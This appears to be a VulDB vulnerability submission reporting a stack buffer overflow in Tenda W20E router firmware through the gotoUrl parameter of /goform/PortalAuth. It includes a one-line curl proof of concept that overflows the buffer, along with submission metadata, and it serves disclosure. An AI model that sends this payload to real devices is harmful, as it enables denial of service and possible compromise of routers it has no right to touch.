| Título | Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow |
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| Descrição | Tenda W20E firmware V4.0br_V15.11.0.6(1068_1546_841)_CN_TDC contains a stack-based buffer overflow in formPortalAuth, reachable via POST /goform/PortalAuth. The attacker-controlled gotoUrl parameter is copied with strcpy into the fixed-size redirect_url[256] stack buffer without bounds checking. A crafted request can overflow the destination buffer and corrupt adjacent stack memory, which may lead to denial of service and other unintended behavior.
PoC:
curl -i 'http://192.168.0.1/goform/PortalAuth' \
--data-urlencode "gotoUrl=$(python3 -c 'print(\"A\"*512)')" \
--data "portalAuthType=normal" \
--data "webAuthUserName=user" \
--data "webAuthUserPassword=pass" |
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| Fonte | ⚠️ https://github.com/paueger/mycve/blob/main/Tenda_W20E/6.md |
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| Utilizador | paxiot (UID 94927) |
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| Submissão | 25/06/2026 11h39 (há 3 meses) |
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| Moderação | 14/08/2026 07h30 (2 months later) |
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| Estado | Duplicado |
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| Entrada VulDB | 369143 [Tenda W20E 15.11.0.6 Web Management Interface /goform/PortalAuth formPortalAuth gotoUrl Excesso de tampão] |
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| Pontos | 0 |
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